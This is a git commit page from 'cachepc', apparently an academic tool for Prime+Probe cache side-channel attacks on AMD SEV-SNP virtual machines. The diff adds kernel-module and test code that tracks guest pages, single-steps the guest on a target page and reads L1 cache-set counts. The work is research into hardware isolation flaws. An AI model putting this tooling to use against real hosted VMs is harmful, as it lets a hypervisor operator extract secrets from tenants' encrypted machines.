cachepc

Prime+Probe cache-based side-channel attack on AMD SEV-SNP protected virtual machines
git clone https://git.sinitax.com/sinitax/cachepc
Log | Files | Refs | Submodules | README | sfeed.txt

commit 1715c9d6e1aa977b407081fb3164edbf1534fb5c
parent 0c825583fc20f1b91c56e1aaf450d6a753d24658
Author: Louis Burda <quent.burda@gmail.com>
Date:   Fri,  3 Feb 2023 11:59:43 -0600

Properly implement target gfn stepping

Diffstat:
MMakefile | 1+
MREADME | 23+++++++++++++++--------
Mcachepc/cachepc.c | 24+++++++++++-------------
Mcachepc/cachepc.h | 22++++++++++++++++------
Mcachepc/const.h | 6++++--
Mcachepc/event.c | 36+++++++++++++++++++++++-------------
Mcachepc/event.h | 2+-
Mcachepc/kvm.c | 4++--
Dcachepc/svm.c | 3---
Mcachepc/uapi.h | 5-----
Mtest/kvm-step.c | 3+--
Atest/kvm-targetstep | 0
Atest/kvm-targetstep.c | 227+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Atest/kvm-targetstep_guest | 2++
Atest/kvm-targetstep_guest.S | 40++++++++++++++++++++++++++++++++++++++++
Mtest/qemu-eviction.c | 92+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++------
Dtest/sev-es.c | 546-------------------------------------------------------------------------------
Dtest/sev.c | 544-------------------------------------------------------------------------------
18 files changed, 429 insertions(+), 1151 deletions(-)

diff --git a/Makefile b/Makefile @@ -8,6 +8,7 @@ PWD := $(shell pwd) BINS = test/eviction test/kvm-eviction BINS += test/kvm-eviction-with_guest test/kvm-eviction-without_guest BINS += test/kvm-step test/kvm-step_guest +BINS += test/kvm-targetstep test/kvm-targetstep_guest BINS += test/kvm-pagestep test/kvm-pagestep_guest BINS += test/qemu-pagestep BINS += test/qemu-eviction test/qemu-eviction_guest diff --git a/README b/README @@ -22,24 +22,31 @@ test/kvm-eviction: Demonstrate that the cache set of a memory access instruction can be inferred in non-SEV / SEV / SEV-ES / SEV-SNP -enabled vms respectively. +test/kvm-pagestep: + Demonstrate that a SEV-SNP enabled vm can be quickly single-stepped + and analyzed by tracking a single page at a time. This type + of tracking creates a page-wise profile of the guests execution, + which can be used to infer what the guest is doing and when to begin + fine-grained single-stepping. + test/kvm-step: Demonstrate that SEV-SNP enabled vms can be single-stepped using local APIC timers to interrupt the guest and increment the interrupt interval while observing the RIP+RFLAGS ciphertext in the VMSA for changes to detect that a single instruction has been executed. -test/kvm-pagestep: - Demonstrate that a SEV-SNP enabled vm can be quickly single-stepped - and analyzed by tracking a single page at a time. This type - of tracking creates a page-wise profile of the guests execution, - which can be used to infer what the guest is doing and to begin - fine-grained single-stepping. +test/kvm-targetstep: + Demonstrate that a combination of page- and singlestepping allows + for fine-grained control of when to single-step. In this case a vmmcall + by the guest alerts the host to when the guest is on a critical page. + The host sets the currently executed gfn as the target and begins + single-stepping only on that page. test/qemu-pagestep: Replicate result from kvm-pagestep on a qemu-based vm running debian. -test/qemu-eviction: - Replicate result from kvm-eviction on a qemu-based vm running debian +test/qemu-targetstep: + Replicate result from kvm-targetstep on a qemu-based vm running debian using a specially crafted guest program to signal when measurement should take place to infer the accessed set. diff --git a/cachepc/cachepc.c b/cachepc/cachepc.c @@ -9,9 +9,16 @@ #include <linux/delay.h> #include <linux/ioctl.h> -#define MIN(a, b) ((a) < (b) ? (a) : (b)) - EXPORT_SYMBOL(cpc_read_pmc); +EXPORT_SYMBOL(cpc_verify_topology); +EXPORT_SYMBOL(cpc_write_msr); +EXPORT_SYMBOL(cpc_init_pmc); +EXPORT_SYMBOL(cpc_reset_pmc); +EXPORT_SYMBOL(cpc_ds_alloc); +EXPORT_SYMBOL(cpc_aligned_alloc); +EXPORT_SYMBOL(cpc_save_msrmts); +EXPORT_SYMBOL(cpc_print_msrmts); +EXPORT_SYMBOL(cpc_apic_oneshot_run); bool cpc_verify_topology(void) @@ -47,7 +54,6 @@ cpc_verify_topology(void) return false; } -EXPORT_SYMBOL(cpc_verify_topology); void cpc_write_msr(uint64_t addr, uint64_t clear_bits, uint64_t set_bits) @@ -65,7 +71,6 @@ cpc_write_msr(uint64_t addr, uint64_t clear_bits, uint64_t set_bits) addr, val, newval); } } -EXPORT_SYMBOL(cpc_write_msr); void cpc_init_pmc(uint8_t index, uint8_t event_no, uint8_t event_mask, @@ -87,7 +92,6 @@ cpc_init_pmc(uint8_t index, uint8_t event_no, uint8_t event_mask, index, event_no, event_mask, event); cpc_write_msr(0xc0010200 + index * 2, ~0ULL, event); } -EXPORT_SYMBOL(cpc_init_pmc); void cpc_reset_pmc(uint8_t index) @@ -97,7 +101,6 @@ cpc_reset_pmc(uint8_t index) cpc_write_msr(0xc0010201 + index * 2, ~0ULL, 0); } -EXPORT_SYMBOL(cpc_reset_pmc); struct cpc_cl * cpc_ds_alloc(struct cpc_cl **cl_arr_out) @@ -135,7 +138,6 @@ cpc_ds_alloc(struct cpc_cl **cl_arr_out) return ds; } -EXPORT_SYMBOL(cpc_ds_alloc); void * cpc_aligned_alloc(size_t alignment, size_t size) @@ -149,7 +151,6 @@ cpc_aligned_alloc(size_t alignment, size_t size) return p; } -EXPORT_SYMBOL(cpc_aligned_alloc); void cpc_save_msrmts(struct cpc_cl *head) @@ -176,8 +177,8 @@ cpc_save_msrmts(struct cpc_cl *head) if (cpc_baseline_measure) { for (i = 0; i < L1_SETS; i++) { - cpc_baseline[i] = MIN(cpc_baseline[i], - cpc_msrmts[i]); + if (cpc_msrmts[i] < cpc_baseline[i]) + cpc_baseline[i] = cpc_msrmts[i]; } } @@ -193,7 +194,6 @@ cpc_save_msrmts(struct cpc_cl *head) } } } -EXPORT_SYMBOL(cpc_save_msrmts); void cpc_print_msrmts(struct cpc_cl *head) @@ -210,7 +210,6 @@ cpc_print_msrmts(struct cpc_cl *head) cl = cl->prev; } while (cl != head); } -EXPORT_SYMBOL(cpc_print_msrmts); void cpc_apic_oneshot_run(uint32_t interval) @@ -219,4 +218,3 @@ cpc_apic_oneshot_run(uint32_t interval) native_apic_mem_write(APIC_TDCR, CPC_APIC_TIMER_TDCR); native_apic_mem_write(APIC_TMICT, interval / CPC_APIC_TIMER_SOFTDIV); } -EXPORT_SYMBOL(cpc_apic_oneshot_run); diff --git a/cachepc/cachepc.h b/cachepc/cachepc.h @@ -43,22 +43,33 @@ struct cpc_fault { struct cpc_track_pages { bool singlestep_resolve; + uint64_t retinst; + bool in_step; + bool prev_avail; - bool cur_avail; - bool next_avail; uint64_t prev_gfn; + bool cur_avail; uint64_t cur_gfn; + bool next_avail; uint64_t next_gfn; - uint64_t retinst; - bool in_step; }; struct cpc_track_steps { bool with_data; bool use_target; - bool target_gfn; + uint64_t target_gfn; bool stepping; bool use_filter; + + /* simplified page tracking without singlestep resolve, since we + * only care about when we reach the target page, not accuracy.. + * in contrast to page_track, we keep two pages tracked at all times + * this helps prevent it looking like a A is tracked after B + * when in reality we just untracked A too early on a A -> B boundary */ + bool prev_avail; + uint64_t prev_gfn; + bool cur_avail; + uint64_t cur_gfn; }; static_assert(sizeof(struct cpc_cl) == L1_LINESIZE, "Bad cacheline struct"); @@ -124,7 +135,6 @@ extern bool cpc_rip_prev_set; extern struct cpc_track_pages cpc_track_pages; extern struct cpc_track_steps cpc_track_steps; -extern struct cpc_track_steps_signalled cpc_track_steps_signalled; extern struct list_head cpc_faults; diff --git a/cachepc/const.h b/cachepc/const.h @@ -16,6 +16,9 @@ #define KVM_HC_CPC_VMMCALL_SIGNAL 0xEE01 #define KVM_HC_CPC_VMMCALL_EXIT 0xEE02 +#define CPC_GUEST_START_TRACK 0 +#define CPC_GUEST_STOP_TRACK 1 + #define CPC_CL_NEXT_OFFSET 0 #define CPC_CL_PREV_OFFSET 8 #define CPC_CL_COUNT_OFFSET 16 @@ -25,9 +28,8 @@ * is added for each increment, possiblpy skipping whole instructions */ #define CPC_APIC_TIMER_TDCR APIC_TDR_DIV_1 #define CPC_APIC_TIMER_SOFTDIV 1 -#define CPC_APIC_TIMER_MIN (20 * CPC_APIC_TIMER_SOFTDIV) -#define CPC_EVENT_BATCH_MAX 1000 +#define CPC_EVENT_BATCH_MAX 10000 #define CPC_LOGLVL_INFO 1 #define CPC_LOGLVL_DBG 2 diff --git a/cachepc/event.c b/cachepc/event.c @@ -14,7 +14,7 @@ #define ARRLEN(x) (sizeof(x)/sizeof((x)[0])) struct cpc_event *cpc_eventbuf; -size_t cpc_eventbuf_len; +uint32_t cpc_eventbuf_len; bool cpc_event_batching; uint64_t cpc_last_event_sent; @@ -36,8 +36,6 @@ cpc_events_init(void) cpc_eventbuf = kzalloc(sizeof(struct cpc_event) * CPC_EVENT_BATCH_MAX, GFP_KERNEL); BUG_ON(!cpc_eventbuf); - cpc_eventbuf_len = 0; - cpc_event_batching = false; rwlock_init(&cpc_event_lock); cpc_events_reset(); } @@ -53,6 +51,8 @@ void cpc_events_reset(void) { write_lock(&cpc_event_lock); + cpc_eventbuf_len = 0; + cpc_event_batching = false; cpc_last_event_sent = 1; cpc_last_event_acked = 1; cpc_event_avail = false; @@ -66,22 +66,27 @@ cpc_send_event(struct cpc_event event) write_lock(&cpc_event_lock); if (cpc_last_event_sent != cpc_last_event_acked) { - CPC_WARN("event IDs out of sync\n"); + CPC_WARN("Event IDs out of sync\n"); write_unlock(&cpc_event_lock); return 1; } - if (cpc_event_batching) { - if (event.type != CPC_EVENT_GUEST - && cpc_eventbuf_len < CPC_EVENT_BATCH_MAX) { - event.id = 0; - memcpy(&cpc_eventbuf[cpc_eventbuf_len], &event, - sizeof(struct cpc_event)); - cpc_eventbuf_len++; + if (cpc_event_batching && event.type != CPC_EVENT_GUEST) { + if (cpc_eventbuf_len >= CPC_EVENT_BATCH_MAX) { + CPC_WARN("Event batch not retrieved, clearing..\n"); + cpc_eventbuf_len = 0; + } + + event.id = 0; + memcpy(&cpc_eventbuf[cpc_eventbuf_len], &event, sizeof(event)); + cpc_eventbuf_len++; + + if (cpc_eventbuf_len == CPC_EVENT_BATCH_MAX) { + memset(&cpc_event, 0, sizeof(cpc_event)); + cpc_event.type = CPC_EVENT_BATCH; + } else { write_unlock(&cpc_event_lock); return 0; - } else { - cpc_event.type = CPC_EVENT_BATCH; } } else { cpc_event = event; @@ -280,7 +285,12 @@ cpc_read_batch_ioctl(void __user *arg_user) write_unlock(&cpc_event_lock); return -EFAULT; } + + cpc_eventbuf_len = 0; write_unlock(&cpc_event_lock); + if (copy_to_user(arg_user, &batch, sizeof(batch))) + return -EFAULT; + return 0; } diff --git a/cachepc/event.h b/cachepc/event.h @@ -8,7 +8,7 @@ #include <linux/types.h> extern struct cpc_event *cpc_eventbuf; -extern size_t cpc_eventbuf_len; +extern uint32_t cpc_eventbuf_len; extern bool cpc_event_batching; void cpc_events_init(void); diff --git a/cachepc/kvm.c b/cachepc/kvm.c @@ -507,8 +507,8 @@ cpc_track_mode_ioctl(void __user *arg_user) break; case CPC_TRACK_STEPS: cpc_apic_timer_min = 7000; - cpc_apic_timer_dec_npf = 25; - cpc_apic_timer_dec_intr = 50; + cpc_apic_timer_dec_npf = 50; + cpc_apic_timer_dec_intr = 100; cpc_track_steps.use_target = cfg.steps.use_target; cpc_track_steps.target_gfn = cfg.steps.target_gfn; cpc_track_steps.with_data = cfg.steps.with_data; diff --git a/cachepc/svm.c b/cachepc/svm.c @@ -1,3 +0,0 @@ - - - diff --git a/cachepc/uapi.h b/cachepc/uapi.h @@ -47,11 +47,6 @@ enum { }; enum { - CPC_GUEST_START_TRACK, - CPC_GUEST_STOP_TRACK, -}; - -enum { CPC_TRACK_NONE, CPC_TRACK_FAULT_NO_RUN, CPC_TRACK_EXIT_EVICTIONS, diff --git a/test/kvm-step.c b/test/kvm-step.c @@ -34,7 +34,7 @@ monitor(struct kvm *kvm, bool baseline) ret = ioctl(kvm_dev, KVM_CPC_READ_COUNTS, counts); if (ret) err(1, "KVM_CPC_READ_COUNTS"); - printf("Event: rip:%llu cnt:%llu inst:%llu data:%llu ret:%llu\n", + printf("Event: rip:%08llx cnt:%llu inst:%08llx data:%08llx ret:%llu\n", vm_get_rip(), event.step.fault_count, event.step.fault_gfns[0], event.step.fault_gfns[1], event.step.retinst); @@ -146,7 +146,6 @@ main(int argc, const char **argv) if (ret && errno == EAGAIN) continue; if (ret) err(1, "KVM_CPC_POLL_EVENT"); - printf("%lu\n", event.id); if (event.type == CPC_EVENT_PAUSE) break; ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); diff --git a/test/kvm-targetstep b/test/kvm-targetstep Binary files differ. diff --git a/test/kvm-targetstep.c b/test/kvm-targetstep.c @@ -0,0 +1,227 @@ +#include "test/kvm-eviction.h" +#include "test/kvm.h" +#include "test/util.h" +#include "cachepc/uapi.h" + +#include <sys/ioctl.h> +#include <sys/mman.h> +#include <signal.h> +#include <unistd.h> +#include <fcntl.h> +#include <errno.h> +#include <err.h> +#include <string.h> +#include <stdbool.h> +#include <stdio.h> +#include <stdlib.h> + +static int child; +static struct cpc_event event; + +uint64_t +monitor(struct kvm *kvm, bool baseline) +{ + uint8_t counts[L1_SETS]; + int ret; + + ret = ioctl(kvm_dev, KVM_CPC_POLL_EVENT, &event); + if (ret && errno == EAGAIN) return 0; + if (ret) err(1, "KVM_CPC_POLL_EVENT"); + + if (!baseline && event.type == CPC_EVENT_GUEST + && event.guest.type == CPC_GUEST_STOP_TRACK) + return 2; + + if (event.type == CPC_EVENT_TRACK_STEP) { + ret = ioctl(kvm_dev, KVM_CPC_READ_COUNTS, counts); + if (ret) err(1, "KVM_CPC_READ_COUNTS"); + + printf("Event: rip:%08llx cnt:%llu inst:%08llx data:%08llx ret:%llu\n", + vm_get_rip(), event.step.fault_count, + event.step.fault_gfns[0], event.step.fault_gfns[1], + event.step.retinst); + print_counts(counts); + printf("\n"); + print_counts_raw(counts); + printf("\n"); + } + + ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); + if (ret) err(1, "KVM_CPC_ACK_EVENT"); + + return 1; +} + +void +kill_child(void) +{ + printf("Killing vm..\n"); + kill(child, SIGKILL); +} + +int +main(int argc, const char **argv) +{ + struct ipc *ipc; + struct guest guest; + struct kvm kvm; + uint8_t baseline[L1_SETS]; + struct cpc_track_cfg cfg; + bool inst_gfn_avail; + uint64_t inst_gfn; + uint64_t eventcnt; + uint32_t arg; + int ret; + + vmtype = "kvm"; + if (argc > 1) vmtype = argv[1]; + if (strcmp(vmtype, "kvm") && strcmp(vmtype, "sev") + && strcmp(vmtype, "sev-es") + && strcmp(vmtype, "sev-snp")) + errx(1, "invalid vm mode: %s", vmtype); + + setvbuf(stdout, NULL, _IONBF, 0); + + kvm_setup_init(); + + ipc = ipc_alloc(); + + child = fork(); + if (child < 0) err(1, "fork"); + + if (child == 0) { + pin_process(0, TARGET_CORE, true); + + guest_init(&guest, "test/kvm-targetstep_guest"); + vm_init(&kvm, &guest); + guest_deinit(&guest); + + /* reset kernel module state */ + ret = ioctl(kvm_dev, KVM_CPC_RESET, NULL); + if (ret < 0) err(1, "KVM_CPC_RESET"); + + ipc_signal_parent(ipc); + ipc_wait_parent(ipc); + + printf("VM start\n"); + + do { + ret = ioctl(kvm.vcpufd, KVM_RUN, NULL); + if (ret < 0) err(1, "KVM_RUN"); + } while (kvm.run->exit_reason == KVM_EXIT_HLT); + + printf("VM exit\n"); + + vm_deinit(&kvm); + } else { + pin_process(0, SECONDARY_CORE, true); + + atexit(kill_child); + + ipc_wait_child(ipc); + + printf("Monitor start\n"); + + memset(&cfg, 0, sizeof(cfg)); + cfg.mode = CPC_TRACK_STEPS; + cfg.steps.with_data = true; + ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg); + if (ret) err(1, "KVM_CPC_TRACK_MODE"); + + arg = true; + ret = ioctl(kvm_dev, KVM_CPC_CALC_BASELINE, &arg); + if (ret) err(1, "KVM_CPC_CALC_BASELINE"); + + ipc_signal_child(ipc); + + /* run vm while baseline is calculated */ + eventcnt = 0; + while (eventcnt < 50) { + eventcnt += monitor(&kvm, true); + } + + ret = ioctl(kvm_dev, KVM_CPC_VM_REQ_PAUSE); + if (ret) err(1, "KVM_CPC_VM_REQ_PAUSE"); + + while (1) { + ret = ioctl(kvm_dev, KVM_CPC_POLL_EVENT, &event); + if (ret && errno == EAGAIN) continue; + if (ret) err(1, "KVM_CPC_POLL_EVENT"); + + if (event.type == CPC_EVENT_PAUSE) break; + + ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); + if (ret) err(1, "KVM_CPC_ACK_EVENT"); + } + + arg = false; + ret = ioctl(kvm_dev, KVM_CPC_CALC_BASELINE, &arg); + if (ret) err(1, "KVM_CPC_CALC_BASELINE"); + + ret = ioctl(kvm_dev, KVM_CPC_READ_BASELINE, baseline); + if (ret) err(1, "KVM_CPC_READ_BASELINE"); + + printf("\nBaseline:\n"); + print_counts(baseline); + printf("\n"); + print_counts_raw(baseline); + printf("\n\n"); + + arg = true; + ret = ioctl(kvm_dev, KVM_CPC_APPLY_BASELINE, &arg); + if (ret) err(1, "KMV_CPC_APPLY_BASELINE"); + + memset(&cfg, 0, sizeof(cfg)); + cfg.mode = CPC_TRACK_PAGES; + ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg); + if (ret) err(1, "KVM_CPC_TRACK_MODE"); + + ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); + if (ret) err(1, "KVM_CPC_ACK_EVENT"); + + /* wait for CPC_GUEST_START_TRACK */ + + inst_gfn_avail = false; + while (1) { + ret = ioctl(kvm_dev, KVM_CPC_POLL_EVENT, &event); + if (ret && errno == EAGAIN) continue; + if (ret) err(1, "KVM_CPC_POLL_EVENT"); + + if (inst_gfn_avail && event.type == CPC_EVENT_GUEST + && event.guest.type == CPC_GUEST_START_TRACK) + break; + + if (event.type == CPC_EVENT_TRACK_PAGE) { + inst_gfn = event.page.inst_gfn; + inst_gfn_avail = true; + } + + ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); + if (ret) err(1, "KVM_CPC_ACK_EVENT"); + } + + /* start step tracking for target gfn */ + + printf("Target GFN: %08llx\n", inst_gfn); + + memset(&cfg, 0, sizeof(cfg)); + cfg.mode = CPC_TRACK_STEPS; + cfg.steps.target_gfn = inst_gfn; + cfg.steps.use_target = true; + cfg.steps.with_data = true; + ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg); + if (ret) err(1, "KVM_CPC_TRACK_MODE"); + + ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); + if (ret) err(1, "KVM_CPC_ACK_EVENT"); + + while (monitor(&kvm, false) != 2); + + printf("Monitor exit\n"); + } + + ipc_free(ipc); + + kvm_setup_deinit(); +} + diff --git a/test/kvm-targetstep_guest b/test/kvm-targetstep_guest @@ -0,0 +1 @@ + +\ No newline at end of file diff --git a/test/kvm-targetstep_guest.S b/test/kvm-targetstep_guest.S @@ -0,0 +1,40 @@ +#include "cachepc/const.h" + +#define TARGET_SET 15 + +.text +.align(16) +.code16gcc + +guest: +.rept L1_LINESIZE * L1_SETS * 2 + nop +.endr + + mov $0, %cx + mov $CPC_GUEST_START_TRACK, %bx + mov $KVM_HC_CPC_VMMCALL_SIGNAL, %ax + vmmcall + + mov $(L1_LINESIZE * (L1_SETS + 11)), %bx + movb (%bx), %bl + + mov $(L1_LINESIZE * (L1_SETS + 13)), %bx + movb (%bx), %bl + + mov $(L1_LINESIZE * (L1_SETS + 15)), %bx + movb (%bx), %bl + + # this should only be partially single-stepped if + # single-stepping is limited to the first page +.rept L1_LINESIZE * L1_SETS * 2 + nop +.endr + + mov $0, %cx + mov $CPC_GUEST_STOP_TRACK, %bx + mov $KVM_HC_CPC_VMMCALL_SIGNAL, %ax + vmmcall + + jmp guest + diff --git a/test/qemu-eviction.c b/test/qemu-eviction.c @@ -16,6 +16,7 @@ #include <stdlib.h> static struct cpc_event event; +static struct cpc_event_batch batch; int monitor(bool baseline) @@ -57,12 +58,32 @@ monitor(bool baseline) } void +read_batch(void) +{ + uint32_t i; + int ret; + + ret = ioctl(kvm_dev, KVM_CPC_READ_BATCH, &batch); + if (ret && errno == EAGAIN) return; + if (ret && errno != EAGAIN) err(1, "KVM_CPC_READ_BATCH"); + + for (i = 0; i < batch.cnt; i++) { + if (batch.buf[i].type != CPC_EVENT_TRACK_PAGE) + continue; + + printf("GFN %08llx\n", batch.buf[i].page.inst_gfn); + } +} + +void reset(int sig) { int ret; ret = ioctl(kvm_dev, KVM_CPC_RESET); if (ret) err(1, "KVM_CPC_RESET"); + + exit(1); } int @@ -70,6 +91,7 @@ main(int argc, const char **argv) { uint8_t baseline[L1_SETS]; struct cpc_track_cfg cfg; + bool first_guest_event; uint32_t eventcnt; uint32_t arg; int ret; @@ -83,6 +105,8 @@ main(int argc, const char **argv) ret = ioctl(kvm_dev, KVM_CPC_RESET); if (ret) err(1, "KVM_CPC_RESET"); + signal(SIGINT, reset); + arg = true; ret = ioctl(kvm_dev, KVM_CPC_CALC_BASELINE, &arg); if (ret) err(1, "KVM_CPC_CALC_BASELINE"); @@ -90,6 +114,7 @@ main(int argc, const char **argv) memset(&cfg, 0, sizeof(cfg)); cfg.mode = CPC_TRACK_STEPS; cfg.steps.with_data = true; + cfg.steps.use_filter = true; ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg); if (ret) err(1, "KVM_CPC_RESET"); @@ -129,23 +154,78 @@ main(int argc, const char **argv) print_counts_raw(baseline); printf("\n\n"); + memset(&cfg, 0, sizeof(&cfg)); + cfg.mode = CPC_TRACK_NONE; + ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg); + if (ret) err(1, "KVM_CPC_TRACK_MODE"); + + ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); + if (ret) err(1, "KVM_CPC_ACK_EVENT"); + + /* wait until guest program is run */ + printf("Press enter to continue..\n"); + getchar(); + + arg = true; + ret = ioctl(kvm_dev, KVM_CPC_BATCH_EVENTS, &arg); + if (ret) err(1, "KVM_CPC_BATCH_EVENTS"); + + memset(&cfg, 0, sizeof(cfg)); + cfg.mode = CPC_TRACK_PAGES; + ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg); + if (ret) err(1, "KVM_CPC_TRACK_MODE"); + + batch.cnt = 0; + batch.maxcnt = CPC_EVENT_BATCH_MAX; + batch.buf = malloc(sizeof(struct cpc_event) * batch.maxcnt); + if (!batch.buf) err(1, "malloc"); + + first_guest_event = true; + while (1) { + ret = ioctl(kvm_dev, KVM_CPC_POLL_EVENT, &event); + if (ret && errno == EAGAIN) continue; + if (ret) err(1, "KVM_CPC_POLL_EVENT"); + + printf("EVENT %i\n", event.type); + + if (event.type == CPC_EVENT_GUEST + && event.guest.type == CPC_GUEST_START_TRACK) { + if (!first_guest_event) + break; + first_guest_event = false; + } + + if (event.type == CPC_EVENT_BATCH) + read_batch(); + + ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); + if (ret) err(1, "KVM_CPC_ACK_EVENT"); + } + + read_batch(); + + if (!batch.cnt) errx(1, "empty batch buffer"); memset(&cfg, 0, sizeof(cfg)); - cfg.steps.target_gfn = 0; /* TODO */ - cfg.steps.use_target = true; cfg.mode = CPC_TRACK_STEPS; - ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &arg); - if (ret) err(1, "KVM_CPC_RESET"); + cfg.steps.target_gfn = batch.buf[batch.cnt - 3].page.inst_gfn; + cfg.steps.use_target = true; + cfg.steps.use_filter = true; + cfg.steps.with_data = true; + ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg); + if (ret) err(1, "KVM_CPC_TRACK_MODE"); ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); if (ret) err(1, "KVM_CPC_ACK_EVENT"); - signal(SIGINT, reset); - while (monitor(false) != 2); + signal(SIGINT, NULL); + ret = ioctl(kvm_dev, KVM_CPC_RESET); if (ret) err(1, "KVM_CPC_RESET"); + free(batch.buf); + kvm_setup_deinit(); } diff --git a/test/sev-es.c b/test/sev-es.c @@ -1,546 +0,0 @@ -#define _GNU_SOURCE - -#include "cachepc/uapi.h" - -#include <linux/psp-sev.h> -#include <linux/kvm.h> -#include <sys/syscall.h> -#include <sys/ioctl.h> -#include <sys/user.h> -#include <sys/wait.h> -#include <sys/ioctl.h> -#include <sys/mman.h> -#include <sys/stat.h> -#include <sys/types.h> -#include <unistd.h> -#include <signal.h> -#include <dirent.h> -#include <assert.h> -#include <errno.h> -#include <err.h> -#include <fcntl.h> -#include <sched.h> -#include <string.h> -#include <stdbool.h> -#include <stdlib.h> -#include <stdint.h> -#include <stdio.h> -#include <stdarg.h> - -#define ARRLEN(x) (sizeof(x) / sizeof((x)[0])) -#define MIN(a,b) ((a) > (b) ? (b) : (a)) - -#define SAMPLE_COUNT 100 - -#define TARGET_CORE 2 -#define SECONDARY_CORE 3 - -#define TARGET_CACHE_LINESIZE 64 -#define TARGET_SET 15 - -struct kvm { - int vmfd, vcpufd; - void *mem; - size_t memsize; - struct kvm_run *run; -}; - -/* start and end for guest assembly */ -extern uint8_t __start_guest_with[]; -extern uint8_t __stop_guest_with[]; -extern uint8_t __start_guest_without[]; -extern uint8_t __stop_guest_without[]; - -bool ready = false; -bool processed = false; - -ssize_t sysret; -pid_t victim_pid; - -/* ioctl dev fds */ -int kvm_dev, sev_dev, kvm_dev; - -enum { - GSTATE_UNINIT, - GSTATE_LUPDATE, - GSTATE_LSECRET, - GSTATE_RUNNING, - GSTATE_SUPDATE, - GSTATE_RUPDATE, - GSTATE_SENT -}; - -const char *sev_fwerr_strs[] = { - "Success", - "Platform state is invalid", - "Guest state is invalid", - "Platform configuration is invalid", - "Buffer too small", - "Platform is already owned", - "Certificate is invalid", - "Policy is not allowed", - "Guest is not active", - "Invalid address", - "Bad signature", - "Bad measurement", - "Asid is already owned", - "Invalid ASID", - "WBINVD is required", - "DF_FLUSH is required", - "Guest handle is invalid", - "Invalid command", - "Guest is active", - "Hardware error", - "Hardware unsafe", - "Feature not supported", - "Invalid parameter", - "Out of resources", - "Integrity checks failed" -}; - -const char *sev_gstate_strs[] = { - "UNINIT", - "LUPDATE", - "LSECRET", - "RUNNING", - "SUPDATE", - "RUPDATE", - "SEND" -}; - -void -hexdump(void *data, int len) -{ - int i; - - for (i = 0; i < len; i++) { - if (i % 16 == 0 && i) - printf("\n"); - printf("%02X ", *(uint8_t *)(data + i)); - } - printf("\n"); -} - -// REF: https://events19.linuxfoundation.org/wp-content/uploads/2017/12/Extending-Secure-Encrypted-Virtualization-with-SEV-ES-Thomas-Lendacky-AMD.pdf -// REF: https://www.spinics.net/lists/linux-kselftest/msg27206.html -__attribute__((section("guest_with"))) void -vm_guest_with(void) -{ - while (1) { - asm volatile("mov (%[v]), %%bl" - : : [v] "r" (TARGET_CACHE_LINESIZE * TARGET_SET)); - //asm volatile("out %%al, (%%dx)" : : ); - asm volatile("hlt"); - //asm volatile("rep; vmmcall\n\r"); - } -} - -__attribute__((section("guest_without"))) void -vm_guest_without(void) -{ - while (1) { - asm volatile("hlt"); - //asm volatile("out %%al, (%%dx)" : : ); - } -} - -bool -pin_process(pid_t pid, int cpu, bool assert) -{ - cpu_set_t cpuset; - int ret; - - CPU_ZERO(&cpuset); - CPU_SET(cpu, &cpuset); - ret = sched_setaffinity(pid, sizeof(cpu_set_t), &cpuset); - if (ret < 0) { - if (assert) err(1, "sched_setaffinity"); - return false; - } - - return true; -} - -int -read_stat_core(pid_t pid) -{ - char path[256]; - char line[2048]; - FILE *file; - char *p; - int i, cpu; - - snprintf(path, sizeof(path), "/proc/%u/stat", pid); - file = fopen(path, "r"); - if (!file) return -1; - - if (!fgets(line, sizeof(line), file)) - err(1, "read stat"); - - p = line; - for (i = 0; i < 38 && (p = strchr(p, ' ')); i++) - p += 1; - - if (!p) errx(1, "stat format"); - cpu = atoi(p); - - fclose(file); - - return cpu; -} - -const char * -sev_fwerr_str(int code) -{ - if (code < 0 || code >= ARRLEN(sev_fwerr_strs)) - return "Unknown error"; - - return sev_fwerr_strs[code]; -} - -const char * -sev_gstate_str(int code) -{ - if (code < 0 || code >= ARRLEN(sev_gstate_strs)) - return "Unknown gstate"; - - return sev_gstate_strs[code]; -} - -int -sev_ioctl(int vmfd, int cmd, void *data, int *error) -{ - struct kvm_sev_cmd input; - int ret; - - memset(&input, 0, sizeof(input)); - input.id = cmd; - input.sev_fd = sev_dev; - input.data = (uintptr_t) data; - - ret = ioctl(vmfd, KVM_MEMORY_ENCRYPT_OP, &input); - if (error) *error = input.error; - - return ret; -} - -uint8_t * -sev_get_measure(int vmfd) -{ - struct kvm_sev_launch_measure msrmt; - int ret, fwerr; - uint8_t *data; - - memset(&msrmt, 0, sizeof(msrmt)); - ret = sev_ioctl(vmfd, KVM_SEV_LAUNCH_MEASURE, &msrmt, &fwerr); - if (ret < 0 && fwerr != SEV_RET_INVALID_LEN) - errx(1, "LAUNCH_MEASURE: (%s) %s", strerror(errno), sev_fwerr_str(fwerr)); - - data = malloc(msrmt.len); - msrmt.uaddr = (uintptr_t) data; - - ret = sev_ioctl(vmfd, KVM_SEV_LAUNCH_MEASURE, &msrmt, &fwerr); - if (ret < 0) - errx(1, "LAUNCH_MEASURE: (%s) %s", strerror(errno), sev_fwerr_str(fwerr)); - - return data; -} - -uint8_t -sev_guest_state(int vmfd, uint32_t handle) -{ - struct kvm_sev_guest_status status; - int ret, fwerr; - - status.handle = handle; - ret = sev_ioctl(vmfd, KVM_SEV_GUEST_STATUS, &status, &fwerr); - if (ret < 0) { - errx(1, "KVM_SEV_GUEST_STATUS: (%s) %s", - strerror(errno), 